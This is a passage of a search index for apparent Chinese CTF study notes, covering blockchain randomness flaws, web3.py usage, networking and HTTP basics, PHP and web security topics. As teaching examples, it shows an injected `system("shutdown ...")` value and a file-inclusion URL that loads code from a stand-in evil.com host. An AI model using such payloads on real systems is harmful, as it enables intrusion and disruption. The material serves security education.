<li>\u533a\u5757\u94fe\u9700\u8981\u6240\u6709\u4ee5\u592a\u574a\u8282\u70b9\u9a8c\u8bc1\u4ea4\u6613\u8ba1\u7b97\u51fa\u76f8\u540c\u7ed3\u679c\u8fbe\u6210\u5171\u8bc6</li> <li>\u65e0\u6cd5\u5b9e\u73b0\u771f\u968f\u673a\u6570</li> <li>\u4f2a\u968f\u673a\u53ef\u4ee5\u7834\u89e3\uff1a<ul> <li>\u5229\u7528\u533a\u5757\u53d8\u91cf\u4f5c\u4e3a\u968f\u673a\u6570\uff1a\u53ef\u4ee5\u83b7\u53d6</li> <li>\u5229\u7528 blockhash \u4f5c\u4e3a\u968f\u673a\u6570\uff1a\u53ea\u4fdd\u7559\u6700\u8fd1 256 \u4e2a\u533a\u5757</li> <li>\u56de\u6eda\u653b\u51fb\uff1a\u4e0d\u65ad revert \u6765\u731c\u968f\u673a\u6570 \u5176\u4ed6\u5e38\u89c1\u6f0f\u6d1e</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#ctf","title":"CTF \u6bd4\u8d5b\u4e2d\u7684\u79c1\u94fe\u9898\u76ee\u4ea4\u4e92","text":"<p>\u4e00\u822c\u4f1a\u8fc7\u6ee4\u6389\u5927\u90e8\u5206 geth rpc \u63a5\u53e3,\u9632\u6b62\u5176\u4ed6\u961f\u4f0d\u6252\u94fe\u8e6d\u8f66 / \u91cd\u653e</p> <ul> <li>\u767d\u540d\u5355\u793a\u4f8b\u53ef\u89c1 chainflag/solidctf\u4e2d\u7684\u767d\u540d\u5355\uff0c\u4e00\u822c\u5c31\u662f\u8fd9\u4e9b</li> <li> <p>geth \u624b\u52a8\u64cd\u4f5c\u5f88\u590d\u6742\uff08\u53ea\u80fd\u53d1 raw\uff09\uff0cremix/metamask \u53ef\u80fd\u4f1a\u65e0\u6cd5\u8fde\u63a5</p> <ul> <li> <p>\u53ef\u4ee5 / \u63a8\u8350\u901a\u8fc7 web3.py \u8fdb\u884c\u4ea4\u4e92</p> </li> <li> <p>\u901a\u8fc7 eth.contract \u548c abi \u4e0e addr/bytecode \u521b\u5efa\u5408\u7ea6\u5bf9\u8c61</p> </li> <li> <p>\u901a\u8fc7 contract.functions.f().build_transaction() \u6784\u5efa\u4ea4\u6613</p> </li> <li> <p>\u901a\u8fc7 eth.account.sign_transaction(txn, privateKey) \u7b7e\u540d</p> </li> <li> <p>\u5f97\u5230 rawTransaction \u540e eth.send_raw_transaction(raw) \u53d1\u9001</p> </li> <li> <p>\u901a\u8fc7 eth.wait_for_transaction_receipt(hash) \u7b49\u5f85\u4ea4\u6613\u5b8c\u6210</p> </li> <li> <p>\u65e0\u9700\u4ea4\u6613\u7684 view \u51fd\u6570\u53ef\u4ee5\u76f4\u63a5 contract.functions.f().call()</p> </li> <li> <p>https:/note.tonycrane.cc/ctf/blockchain/eth/basic/ _15</p> </li> </ul> </li> </ul> <p>more</p> <p>Read more: note.tonycrane.cc/ctf/blockchain/eth - \u4ee5\u592a\u574a\u57fa\u7840\u77e5\u8bc6\uff1a\u8d26\u6237\u3001\u4ea4\u6613\u3001\u5408\u7ea6\u3001\u533a\u5757\u7b49\uff0c\u53ca\u5176\u539f\u7406</p> <ul> <li> <p>Solidity \u8bed\u8a00\uff1a\u6700\u5e38\u7528\u7684\u667a\u80fd\u5408\u7ea6\u8bed\u8a00\uff0c\u4ee5\u592a\u574a\u5b98\u65b9\u8bed\u8a00</p> </li> <li> <p>\u4e86\u89e3\u5176\u8bed\u6cd5\u3001\u7c7b\u578b\uff0c\u4ee5\u53ca\u5408\u7ea6\u8fd0\u884c\u7684\u6574\u4f53\u903b\u8f91</p> </li> <li> <p>\u4e86\u89e3\u4e00\u4e9b ERC \u6807\u51c6\uff08\u76ee\u7684\u662f\u770b\u61c2\u9898\u76ee\u7684\u5408\u7ea6\uff09</p> </li> <li> <p>\u4ee5\u592a\u574a\u865a\u62df\u673a\uff08EVM\uff09\uff1a\u6267\u884c\u5408\u7ea6\u5b57\u8282\u7801\u7684\u6808\u7ed3\u6784\u865a\u62df\u673a</p> </li> <li> <p>\u4e86\u89e3\u5176\u8fd0\u884c\u539f\u7406\uff0c\u4e0e\u8d26\u6237\u3001\u5408\u7ea6\u3001\u4ea4\u6613\u7684\u5173\u7cfb\uff0c\u53cd\u6c47\u7f16\u3001\u53cd\u7f16\u8bd1\u7684\u65b9\u6cd5</p> </li> <li> <p>\u4ea4\u4e92\u3001\u6d4b\u8bd5\u73af\u5883\uff1ageth\u3001Remix\u3001MetaMask\u3001web3.js\u3001web3.py \u7b49</p> </li> <li>\u5e38\u89c1\u5408\u7ea6\u6f0f\u6d1e\uff1a\u6574\u578b\u6ea2\u51fa\u3001\u91cd\u5165\u3001\u4f2a\u968f\u673a\u3001\u8585\u7f8a\u6bdb\u3001\u975e\u9884\u671f\u7684\u8fdc\u7a0b\u8c03\u7528\u2026\u2026</li> </ul>"},{"location":"NOTE/CTF/reverse/","title":"reverse","text":"<p> \u7ea6 13 \u4e2a\u5b57 </p>"},{"location":"NOTE/CTF/reverse/#7-5-lec4-reverse","title":"7-5 lec4-reverse","text":"<p>\u6388\u8bfe\uff1a\u6211\u6ca1\u542c</p> <p>\u6211\u53bb\u957f\u6c99\u73a9\u8fa3</p>"},{"location":"NOTE/CTF/web/","title":"web","text":"<p> \u7ea6 3168 \u4e2a\u5b57  387 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 16 \u5206\u949f</p>"},{"location":"NOTE/CTF/web/#7-3-lec2-web","title":"7-3 lec2-Web","text":"<p>\u6388\u8bfe\uff1a\u53f6\u8000\u9633</p>"},{"location":"NOTE/CTF/web/#_1","title":"\u524d\u7f6e","text":"<p>\u4e0b\u8f7d  - PHPstudy - Node.js</p>"},{"location":"NOTE/CTF/web/#web","title":"Web \u5e94\u7528\u67b6\u6784\uff1a\u5ba2\u6237\u7aef+\u670d\u52a1\u7aef","text":"<p>\u684c\u9762\u5e94\u7528\u548cWeb\u5e94\u7528\u5728\u67b6\u6784\u4e0a\u6709\u663e\u8457\u7684\u533a\u522b\u3002\u684c\u9762\u5e94\u7528\u901a\u5e38\u662f\u5728\u672c\u5730\u8fd0\u884c\u7684\u72ec\u7acb\u7a0b\u5e8f\uff0c\u800cWeb\u5e94\u7528\u5219\u9700\u8981\u4f9d\u8d56\u5ba2\u6237\u7aef\u548c\u670d\u52a1\u7aef\u7684\u534f\u4f5c\u3002</p> <ul> <li>\u5ba2\u6237\u7aef\uff1a\u4f60\u7684\u6d4f\u89c8\u5668<ul> <li>\u53ef\u89c6\u5316\uff1a\u56fe\u5f62\u3001\u56fe\u7247\u3001\u5e03\u5c40\u2026\u2026 HTML + CSS</li> <li>\u4eba\u673a\u4ea4\u4e92\u903b\u8f91\uff1a\u6309\u94ae\u70b9\u51fb\uff0c\u767b\u5f55\uff0c\u53d1\u9001\u8bf7\u6c42\u2026\u2026JS</li> <li>\u7f13\u5b58\u3001Cookie</li> <li>\u5b89\u5168\uff1a\u4e0d\u80fd\u5c06\u79c1\u5bc6\u7684\u3001\u4e0d\u8be5\u83b7\u53d6\u7684\u4fe1\u606f\u4f20\u51fa\u53bb\uff08\u6bd4\u5982 Cookie\uff09\uff0c\u4e0d\u80fd\u4e3a\u6240\u6b32\u4e3a\uff08\u6bd4\u5982\u6ce8\u9500\u5176\u4ed6\u7f51\u7ad9\u7684\u8d26\u53f7\uff09</li> </ul> </li> <li>\u670d\u52a1\u7aef\uff1a\u67d0\u53f0\u6216\u5f88\u591a\u53f0\u670d\u52a1\u5668<ul> <li>\u8ba4\u8bc1\u4e0e\u9274\u6743\uff1a\u5982\u4f55\u8bc1\u660e\u4f60\u662f\u4f60<ul> <li>Authentication(\u8ba4\u8bc1)</li> <li>Authorization(\u9274\u6743)</li> </ul> </li> <li>\u5904\u7406\u8bf7\u6c42\uff1a\u7528\u6237\u9700\u8981\u505a\u4ec0\u4e48\uff1f\u5c06\u7ed3\u679c\u8fd4\u56de\u5ba2\u6237\u7aef</li> <li>\u670d\u52a1\u5668\u4e5f\u53ef\u4ee5\u6709\u4e0d\u540c\u5206\u5de5\uff1a\u524d\u7aef\u540e\u7aef\u3001\u6570\u636e\u5e93\u2026\u2026</li> <li>\u5b89\u5168\uff1a\u7528\u6237\u4e0d\u80fd\u83b7\u5f97\u4e0d\u8be5\u83b7\u53d6\u7684\u4fe1\u606f\uff08\u6bd4\u5982 flag\uff09\uff0c\u4e0d\u80fd\u4e3a\u6240\u6b32\u4e3a\uff08\u6bd4\u5982\u4efb\u610f\u4ee3\u7801\u6267\u884c\uff09</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/web/#_2","title":"\u7f51\u7edc\uff1a\u6570\u636e\u4ea4\u6362","text":"<ul> <li>\u6570\u636e\u5305\u7684\u4f20\u8f93\u4e0e\u8def\u7531 \u60f3\u8c61\u4e00\u4e0b\uff0c\u6570\u636e\u5305\u5c31\u50cf\u662f\u4e00\u5c01\u5c01\u4fe1\u4ef6\uff0c\u800c\u7f51\u7edc\u5219\u662f\u904d\u5e03\u5168\u7403\u7684\u90ae\u653f\u7cfb\u7edf\u3002\u5f53\u6211\u4eec\u5728\u7535\u8111\u4e0a\u70b9\u51fb\u53d1\u9001\u90ae\u4ef6\u65f6\uff0c\u6570\u636e\u88ab\u5207\u5272\u6210\u4e00\u4e2a\u4e2a\u5c0f\u5305\u88f9\uff0c\u5373\u6570\u636e\u5305\u3002\u8fd9\u4e9b\u6570\u636e\u5305\u968f\u540e\u88ab\u9001\u5f80\u6700\u8fd1\u7684\u90ae\u5c40\uff0c\u4e5f\u5c31\u662f\u8def\u7531\u5668\u3002\u8def\u7531\u5668\u5c31\u50cf\u90ae\u5c40\u7684\u5206\u62e3\u5458\uff0c\u6839\u636e\u5305\u88f9\u4e0a\u7684\u5730\u5740\uff08\u5373IP\u5730\u5740\uff09\uff0c\u51b3\u5b9a\u5c06\u5b83\u4eec\u9001\u5f80\u4e0b\u4e00\u4e2a\u90ae\u5c40\uff0c\u76f4\u81f3\u6700\u7ec8\u5230\u8fbe\u76ee\u7684\u5730\u3002\u8fd9\u4e2a\u8fc7\u7a0b\u4e2d\uff0c\u6bcf\u4e2a\u8def\u7531\u5668\u90fd\u4f1a\u67e5\u770b\u6570\u636e\u5305\u7684\u76ee\u7684\u5730\uff0c\u5e76\u9009\u62e9\u6700\u4f73\u8def\u5f84\uff0c\u786e\u4fdd\u6570\u636e\u5305\u80fd\u591f\u5feb\u901f\u3001\u51c6\u786e\u5730\u5230\u8fbe\u3002</li> <li>\u57df\u540d\u4e0eDNS\u7cfb\u7edf \u5728\u7f51\u7edc\u7684\u4e16\u754c\u91cc\uff0cIP\u5730\u5740\u5c31\u50cf\u662f\u95e8\u724c\u53f7\u7801\uff0c\u867d\u7136\u7cbe\u786e\uff0c\u4f46\u8bb0\u5fc6\u8d77\u6765\u5374\u9887\u4e3a\u56f0\u96be\u3002\u8fd9\u65f6\uff0c\u57df\u540d\u7cfb\u7edf\uff08DNS\uff09\u5c31\u5982\u540c\u4e00\u4e2a\u667a\u80fd\u7684\u7535\u8bdd\u7c3f\uff0c\u5c06\u590d\u6742\u7684IP\u5730\u5740\u8f6c\u5316\u4e3a\u6613\u4e8e\u8bb0\u5fc6\u7684\u57df\u540d\uff0c\u6bd4\u5982<code>www.example.com</code>\u3002\u5f53\u4f60\u5728\u6d4f\u89c8\u5668\u4e2d\u8f93\u5165\u4e00\u4e2a\u57df\u540d\u65f6\uff0cDNS\u670d\u52a1\u5668\u4f1a\u50cf\u67e5\u7535\u8bdd\u7c3f\u4e00\u6837\uff0c\u627e\u5230\u5bf9\u5e94\u7684IP\u5730\u5740\uff0c\u5e76\u6307\u5f15\u4f60\u7684\u8bf7\u6c42\u5230\u8fbe\u6b63\u786e\u7684\u670d\u52a1\u5668\u3002</li> <li> <p>OSI\u6a21\u578b\u548cTCP/IP\u6a21\u578b \u6b63\u5982\u6211\u4eec\u5199\u4ee3\u7801\u5c42\u5c42\u5c01\u88c5\uff0c\u8ba1\u7b97\u673a\u7f51\u7edc\u7684\u603b\u4f53\u67b6\u6784\u4e5f\u662f\u5206\u5c42\u7684\u3002\u8fd9\u6837\u6bcf\u4e2a\u5c42\u5404\u53f8\u5176\u804c\uff0c\u4e0b\u5c42\u4e0a\u4e0a\u5c42\u7684\u57fa\u7840\u8bbe\u65bd\uff0c\u9010\u6e10\u6784\u5efa\u590d\u6742\u7684\u529f\u80fd\u3002</p> </li> <li> <p>OSI \u4e03\u5c42\u6a21\u578b</p> <p></p> </li> <li> <p>TCP/IP \u56db\u5c42\u6a21\u578b\uff1a\u5e7f\u6cdb\u4f7f\u7528</p> <p></p> </li> <li> <p>TCP/IP \u534f\u8bae\u8be6\u89e3</p> <ul> <li>IP: \u7f51\u7edc\u5c42=\u4e3b\u673a\u5230\u4e3b\u673a\uff0c\u6570\u636e\u5305\u5bfb\u5740\uff08\u5feb\u9012\u516c\u53f8\uff09</li> <li>TCP: \u4f20\u8f93\u5c42=\u5e94\u7528\u5230\u5e94\u7528\uff0c\u6216\u8005\u8bf4\u7aef\u5230\u7aef\uff08\u83dc\u9e1f\u9a7f\u7ad9\uff09 \u65e0\u8fb9\u754c\u7684\u5b57\u8282\u6d41\uff0c\u7c7b\u6bd4\u7535\u62a5\u62a5\u6587\uff0c\u7535\u62a5\u7684\u683c\u5f0f\u662f\u5e94\u7528\u5c42\u534f\u8bae\u8be5\u505a\u7684\uff0c\u7535\u62a5\u672c\u8eab\u53ea\u53d1\u5b57\u6bcd\u6570\u5b57</li> </ul> </li> <li> <p>HTTP \u534f\u8bae\u8be6\u89e3</p> <ul> <li>Hyper Text Transfer Protocol</li> <li>\u8d85\u6587\u672c\u4f20\u8f93\u534f\u8bae</li> <li>\u5e94\u7528\u5c42</li> <li>\u7279\u70b9\uff1a\u65e0\u72b6\u6001\uff0c\u7eaf\u6587\u672c<ul> <li>\u9700\u8981\u7ef4\u6301\u72b6\u6001\uff08\u6bd4\u5982\uff1a\u7528\u6237\u5df2\u767b\u5f55\uff09\u600e\u4e48\u529e\uff1fCookie</li> </ul> </li> <li>\u683c\u5f0f</li> </ul> </li> <li> <p>DNS\u8bb0\u5f55\uff1a</p> </li> <li>A\u8bb0\u5f55\uff1a\u6307\u5411IPV4\u5730\u5740</li> <li>AAAA\u8bb0\u5f55\uff1a\u6307\u5411IPV6\u5730\u5740</li> <li>CNAME\uff1a \u522b\u540d\uff0c\u6307\u5411\u53e6\u5916\u4e00\u4e2a\u57df\u540d</li> <li>TXT\u7eaf\u6587\u672c </li> <li>NS(Name server)               \u975e\u6743\u5a01\uff0c\u53ef\u80fd\u4f1a\u7f13\u5b58\uff0c\u4e0d\u4e00\u5b9a\u5b9e\u65f6\u66f4\u65b0</li> <li>MX SOA</li> <li>\u547d\u4ee4<code>tracert</code>\u53ef\u4ee5\u67e5\u770b\u7f51\u7ad9\u5982\u4f55\u8df3\u8f6c</li> <li> <p>TTL time to live \u9632\u6b62\u5b83\u4e00\u76f4\u5728\u8df3\uff0cTTL\u7528\u5b8c\u4e86\u5c31\u6b7b\u4e86</p> </li> <li> <p>\u4ee3\u7406PROXY</p> </li> <li>\u6b63\u5411\u4ee3\u7406\uff1aVPN\uff1aVirtual Private Network\uff0c\u770b\u8d77\u6765\u50cf\u5728\u5185\u7f51</li> <li>\u53cd\u5411\u4ee3\u7406\uff1a\u9690\u85cf\u771f\u5b9eIP\uff0c\u90e8\u7f72CDN\uff0c\u90e8\u7f72\u9632\u706b\u5899\uff0c\u5185\u7f51\u7a7f\u900f \u5185\u7f51\u7a7f\u5230\u5916\u9762\u6765 </li> </ul>"},{"location":"NOTE/CTF/web/#_3","title":"\u540e\u7aef\uff1a\u4e1a\u52a1\u903b\u8f91","text":"<p>\u540e\u7aef\u662fWeb\u5e94\u7528\u7684\u6838\u5fc3\uff0c\u5b83\u8d1f\u8d23\u5904\u7406\u4e1a\u52a1\u903b\u8f91\u3001\u6570\u636e\u5b58\u50a8\u548c\u5b89\u5168\u3002\u5728\u8fd9\u4e00\u90e8\u5206\uff0c\u6211\u4eec\u4f1a\u4ecb\u7ecd\u5e38\u89c1\u7684\u540e\u7aef\u6280\u672f\u6808\uff0c\u5e76\u91cd\u70b9\u8ba8\u8bba\u540e\u7aef\u5b89\u5168\uff0c\u5c24\u5176\u662f\u5982\u4f55\u9632\u8303\u548c\u5e94\u5bf9CTF\uff08Capture the Flag\uff09\u4e2d\u5e38\u89c1\u7684\u903b\u8f91\u6f0f\u6d1e\u653b\u51fb\u3002</p> <ul> <li>\u5e38\u89c1\u540e\u7aef\u6280\u672f\u6808\uff08\u5982Node.js\u3001PHP\u3001Python\u3001Ruby\u3001Go\u3001Rust \u7b49\uff09</li> <li>\u540e\u7aef\u5b89\u5168\uff1a\u6c38\u8fdc\u4e0d\u8981\u76f8\u4fe1\u7528\u6237\u7684\u6570\u636e\uff0c\u4e00\u5207\u524d\u7aef\u7684\u8fc7\u6ee4\u90fd\u7b49\u4e8e\u6ca1\u6709\u8fc7\u6ee4\uff01</li> <li> <p>CTF: \u901a\u8fc7\u903b\u8f91\u6f0f\u6d1e\u7b49\u6b3a\u9a97\u540e\u7aef \u903b\u8f91\u6f0f\u6d1e\uff1a<code>if money!=0 then money-=price.</code> What if <code>money=-1</code> ?</p> <p>\u6ca1\u63a5\u89e6\u5b89\u5168\u9886\u57df\u524d\u5173\u4e8e\u5b89\u5168\u7684\u9519\u89c9\uff1a</p> <ul> <li>\u8fd9\u4e48\u8822\u7684\u6d1e\u4e5f\u6709\u4eba\u5199\uff1f</li> <li>\u8fd9\u4e48\u5199\u600e\u4e48\u53ef\u80fd\u6709\u6d1e\uff1f</li> <li>\u8fd9\u4e48\u591a\u4eba\u7528\u600e\u4e48\u53ef\u80fd\u6709\u6d1e\uff1f</li> </ul> <p>\u4e8b\u5b9e\uff1a\u8fdeSSH\u4eca\u5e74\u90fd\u8fd8\u80fd\u6709\u9ad8\u5371\u6f0f\u6d1e CVE-2024-6387</p> <p>\u771f\u5b9e\u4f8b\u5b50\uff08\u51fa\u81ea\u9694\u58c1EE\u5b66\u9662\u540c\u5b66\u7684\u624b\u7b14\uff0c\u79d1\u73ed-\u534a\u8def\u51fa\u5bb6=\u5b89\u5168+\u8d28\u91cf\uff09\uff1a</p> <p>\u6ce8\u5165\uff1a\u6df7\u6dc6\u4e86\u6570\u636e\u548c\u4ee3\u7801\u3002</p> <p>\u4f8b\u5982<code>printf(\"%d\", _____)</code></p> <p>\u6b63\u5e38\u8f93\u5165\uff1a<code>1</code> <code>2</code> <code>3</code> </p> <p>\u6076\u610f\u8f93\u5165\uff1a<code>1); system(\"shutdown -s -t 0\"); //</code></p> <p>\u5c31\u53d8\u6210\u4e86<code>printf(\"%d\", 1); system(\"shutdown -s -t 0\"); //)</code></p> <p>\u7206\u4e86  </p> </li> </ul>"},{"location":"NOTE/CTF/web/#php","title":"PHP \u7b80\u5355\u5165\u95e8","text":"<p>PHP\u662f\u6700\u65e9\u7684Web\u5f00\u53d1\u8bed\u8a00\u4e4b\u4e00\uff0c\u5b83\u5728Web\u5f00\u53d1\u5386\u53f2\u4e0a\u5360\u6709\u91cd\u8981\u5730\u4f4d\u3002</p> <p>\u4f46\u5b83\u5feb\u6b7b\u4e86\u3002</p> <p>\u65e9\u5e74\u53ea\u6709\u9759\u6001\u7f51\u9875\uff0c\u800c\u540e\u6765\u6709\u4e86jsp\u548cphp</p> <ul> <li>\u73af\u5883\u914d\u7f6e\uff1aPHP Study</li> <li> <p>\u53d8\u91cf\u5b9a\u4e49</p> <pre><code>$name = \"John\"; // \u5b57\u7b26\u4e32\u53d8\u91cf\n$age = 25;      // \u6574\u6570\u53d8\u91cf\n$height = 1.75; // \u6d6e\u70b9\u6570\u53d8\u91cf\n$isStudent = true; // \u5e03\u5c14\u53d8\u91cf\n</code></pre> </li> <li> <p>\u77ed\u6807\u7b7e <code>&lt;?=$a?&gt;</code></p> </li> <li>\u4f8b\u5b50\uff1a</li> </ul> Note <pre><code>&lt;!DOCTYPE html&gt;\n&lt;html&gt;\n&lt;head&gt;\n    &lt;title&gt;PHP \u793a\u4f8b&lt;/title&gt;\n&lt;/head&gt;\n&lt;body&gt;\n    &lt;h1&gt;\u6b22\u8fce\u4f7f\u7528 PHP&lt;/h1&gt;\n    &lt;?php\n    // \u5b9a\u4e49\u53d8\u91cf\n    $name = \"John\";\n    $age = 25;\n\n    // \u8f93\u51fa\u53d8\u91cf\n    echo \"&lt;p&gt;\u4f60\u597d\uff0c\u6211\u7684\u540d\u5b57\u662f $name\uff0c\u6211\u4eca\u5e74 $age \u5c81\u3002&lt;/p&gt;\";\n\n    // \u6761\u4ef6\u8bed\u53e5\n    if ($age &gt;= 18) {\n        echo \"&lt;p&gt;\u6211\u5df2\u6210\u5e74\u3002&lt;/p&gt;\";\n    } else {\n        echo \"&lt;p&gt;\u6211\u672a\u6210\u5e74\u3002&lt;/p&gt;\";\n    }\n\n    // \u6570\u7ec4\n    $fruits = array(\"apple\", \"banana\", \"cherry\");\n    echo \"&lt;p&gt;\u6211\u559c\u6b22\u7684\u6c34\u679c\u6709\uff1a&lt;/p&gt;\";\n    echo \"&lt;ul&gt;\";\n    foreach ($fruits as $fruit) {\n        echo \"&lt;li&gt;$fruit&lt;/li&gt;\";\n    }\n    echo \"&lt;/ul&gt;\";\n\n    // HTML \u77ed\u6807\u7b7e\n    ?&gt;\n    &lt;p&gt;\u8fd9\u662f\u4f7f\u7528 HTML \u77ed\u6807\u7b7e\u7684\u793a\u4f8b\uff1a&lt;/p&gt;\n    &lt;?= \"\u5f53\u524d\u65f6\u95f4\u662f\uff1a\" . date(\"Y-m-d H:i:s\") ?&gt;\n\n    &lt;?php\n    $fr = \"pear\";\n    $pear = 114;\n    $lingo = 514;\n    echo $$fr;\n    ?&gt;\n&lt;/body&gt;\n&lt;/html&gt;\n</code></pre> <p>\u83b7\u53d6 GET \u53c2\u6570\u4e0e Cookie \u5e76\u67e5\u8be2\u6570\u636e\u5e93\u5bf9\u5e94\u7684\u7528\u6237\uff1a</p> Note <pre><code>   &lt;?php\n// \u6570\u636e\u5e93\u8fde\u63a5\u4fe1\u606f\n$servername = \"localhost\";\n$username = \"root\";\n$password = \"\";\n$dbname = \"test_db\";\n\n// \u521b\u5efa\u6570\u636e\u5e93\u8fde\u63a5\n$conn = new mysqli($servername, $username, $password, $dbname);\n\n// \u68c0\u67e5\u8fde\u63a5\u662f\u5426\u6210\u529f\nif ($conn-&gt;connect_error) {\n    die(\"\u8fde\u63a5\u5931\u8d25: \" . $conn-&gt;connect_error);\n}\n\n// \u83b7\u53d6GET\u53c2\u6570\n$userId = isset($_GET['user_id']) ? intval($_GET['user_id']) : 0;\n\n// \u83b7\u53d6Cookie\n$sessionId = isset($_COOKIE['session_id']) ? $_COOKIE['session_id'] : '';\n\n// \u67e5\u8be2\u6570\u636e\u5e93\nif ($userId &gt; 0) {\n    $sql = \"SELECT * FROM users WHERE id = $userId\";\n    $result = $conn-&gt;query($sql);\n\n    if ($result-&gt;num_rows &gt; 0) {\n        $user = $result-&gt;fetch_assoc();\n        echo \"&lt;p&gt;\u7528\u6237\u4fe1\u606f: &lt;/p&gt;\";\n        echo \"&lt;p&gt;ID: \" . $user['id'] . \"&lt;/p&gt;\";\n        echo \"&lt;p&gt;\u59d3\u540d: \" . $user['name'] . \"&lt;/p&gt;\";\n        echo \"&lt;p&gt;\u90ae\u7bb1: \" . $user['email'] . \"&lt;/p&gt;\";\n    } else {\n        echo \"&lt;p&gt;\u6ca1\u6709\u627e\u5230\u5bf9\u5e94\u7684\u7528\u6237\u3002&lt;/p&gt;\";\n    }\n} else {\n    echo \"&lt;p&gt;\u65e0\u6548\u7684\u7528\u6237ID\u3002&lt;/p&gt;\";\n}\n\n// \u5173\u95ed\u6570\u636e\u5e93\u8fde\u63a5\n$conn-&gt;close();\n?&gt;\n</code></pre>"},{"location":"NOTE/CTF/web/#sql","title":"SQL \u7b80\u5355\u5165\u95e8","text":"<p>\u5165\u95e8\u53ef\u4ee5\u4ece MySQL \u5f00\u59cb\u3002</p>"},{"location":"NOTE/CTF/web/#_4","title":"\u76f8\u5173\u5b89\u5168\u8bdd\u9898","text":"<ul> <li>Cookie \u4e0e Session<ul> <li>Cookie\uff1a\u5b58\u50a8\u5728\u5ba2\u6237\u7aef\u7684\u5c0f\u578b\u6587\u672c\u6587\u4ef6\uff0c\u901a\u5e38\u7528\u4e8e\u5b58\u50a8\u7528\u6237\u7684\u504f\u597d\u8bbe\u7f6e\u3001\u8eab\u4efd\u9a8c\u8bc1\u4fe1\u606f\u7b49\u3002<ul> <li>\u793a\u4f8b\uff1a\u7528\u6237\u767b\u5f55\u540e\uff0c\u670d\u52a1\u5668\u53d1\u9001\u4e00\u4e2a\u5305\u542b\u7528\u6237ID\u7684Cookie\u5230\u5ba2\u6237\u7aef\uff0c\u5ba2\u6237\u7aef\u5728\u540e\u7eed\u8bf7\u6c42\u4e2d\u81ea\u52a8\u5305\u542b\u8be5Cookie\uff0c\u4ee5\u4fbf\u670d\u52a1\u5668\u8bc6\u522b\u7528\u6237\u3002</li> <li>Cookie\u52ab\u6301\uff1a\u653b\u51fb\u8005\u901a\u8fc7XSS\u653b\u51fb\u6216\u5176\u4ed6\u624b\u6bb5\u83b7\u53d6\u7528\u6237\u7684Cookie\uff0c\u4ece\u800c\u5192\u5145\u7528\u6237\u8eab\u4efd\u3002</li> </ul> </li> <li>Session\uff1a\u5b58\u50a8\u5728\u670d\u52a1\u5668\u7aef\u7684\u4e34\u65f6\u6570\u636e\u5b58\u50a8\u533a\u57df\uff0c\u901a\u5e38\u7528\u4e8e\u5b58\u50a8\u7528\u6237\u7684\u4f1a\u8bdd\u72b6\u6001\u4fe1\u606f\u3002<ul> <li>\u793a\u4f8b\uff1a\u7528\u6237\u767b\u5f55\u540e\uff0c\u670d\u52a1\u5668\u521b\u5efa\u4e00\u4e2aSession\uff0c\u5e76\u5c06Session ID\u901a\u8fc7Cookie\u53d1\u9001\u7ed9\u5ba2\u6237\u7aef\u3002\u5ba2\u6237\u7aef\u5728\u540e\u7eed\u8bf7\u6c42\u4e2d\u5305\u542b\u8be5Session ID\uff0c\u670d\u52a1\u5668\u6839\u636eSession ID\u67e5\u627e\u5bf9\u5e94\u7684Session\u6570\u636e\u3002</li> <li>\u5982\u679c\u670d\u52a1\u5668\u88ab\u653b\u7834\uff0cSession\u4e2d\u5c31\u53ef\u80fd\u6709\u4e00\u4e9b\u654f\u611f\u4fe1\u606f\u3002</li> </ul> </li> </ul> </li> <li>\u903b\u8f91\u6f0f\u6d1e\uff1a\u9a8c\u8bc1\u4e0d\u5145\u5206\u3001\u60f3\u5f53\u7136\u7684\u5199\u6cd5\u3001\u6761\u4ef6\u7ade\u4e89\u3001\u672a\u53d1\u73b0\u7684\u65c1\u95e8\u5de6\u9053\u2026\u2026<ul> <li>\u7a0b\u5e8f\u5458\u7684\u50b2\u6162\u53ef\u80fd\u4f1a\u8ba9\u4ed6\u8ba4\u4e3a<code>a==1&amp;&amp;a==2</code> \u4e00\u5b9a\u662f false \u4f46\u2026\u2026</li> </ul> </li> </ul> <ul> <li>\u4efb\u610f\u6587\u4ef6\u8bfb\u4e0e\u4efb\u610f\u4ee3\u7801\u6267\u884c<ul> <li>\u4f8b\u5982\u4e00\u4e2aWeb\u5e94\u7528\u5141\u8bb8\u7528\u6237\u4e0a\u4f20\u5934\u50cf\uff0c\u4f46\u672a\u5bf9\u4e0a\u4f20\u7684\u6587\u4ef6\u8fdb\u884c\u4e25\u683c\u7684\u7c7b\u578b\u548c\u5185\u5bb9\u68c0\u67e5\u3002\u653b\u51fb\u8005\u4e0a\u4f20\u4e00\u4e2a\u5305\u542b\u6076\u610f\u4ee3\u7801\u7684\u6587\u4ef6\uff0c\u5e76\u901a\u8fc7\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\u6267\u884c\u8be5\u4ee3\u7801\uff0c\u4ece\u800c\u63a7\u5236\u670d\u52a1\u5668\u3002</li> <li>CTF\u7ade\u8d5b\u4e2d\uff0c\u80fd\u8bfb\u670d\u52a1\u5668\u4e0a <code>/flag</code> \u5219\u8bfb\uff0c\u5426\u5219\u5c31\u6697\u793a\u6211\u4eec\u9700\u8981 RCE (\u4e0d\u7136\u8fde flag \u5728\u54ea\u4e2a\u6587\u4ef6\u90fd\u4e0d\u77e5\u9053).</li> </ul> </li> <li>\u6587\u4ef6\u5305\u542b\uff1a\u4f8b\u5982\u4e00\u4e2aWeb\u5e94\u7528\u5141\u8bb8\u7528\u6237\u901a\u8fc7URL\u53c2\u6570\u6307\u5b9a\u8981\u5305\u542b\u7684\u6587\u4ef6\uff0c\u5982<code>index.php?page=about</code>\u3002\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u6784\u9020\u6076\u610fURL\uff0c\u5982<code>index.php?page=http://evil.com/malicious.php</code>\uff0c\u5305\u542b\u8fdc\u7a0b\u6076\u610f\u6587\u4ef6\uff0c\u4ece\u800c\u6267\u884c\u6076\u610f\u4ee3\u7801\u3002</li> 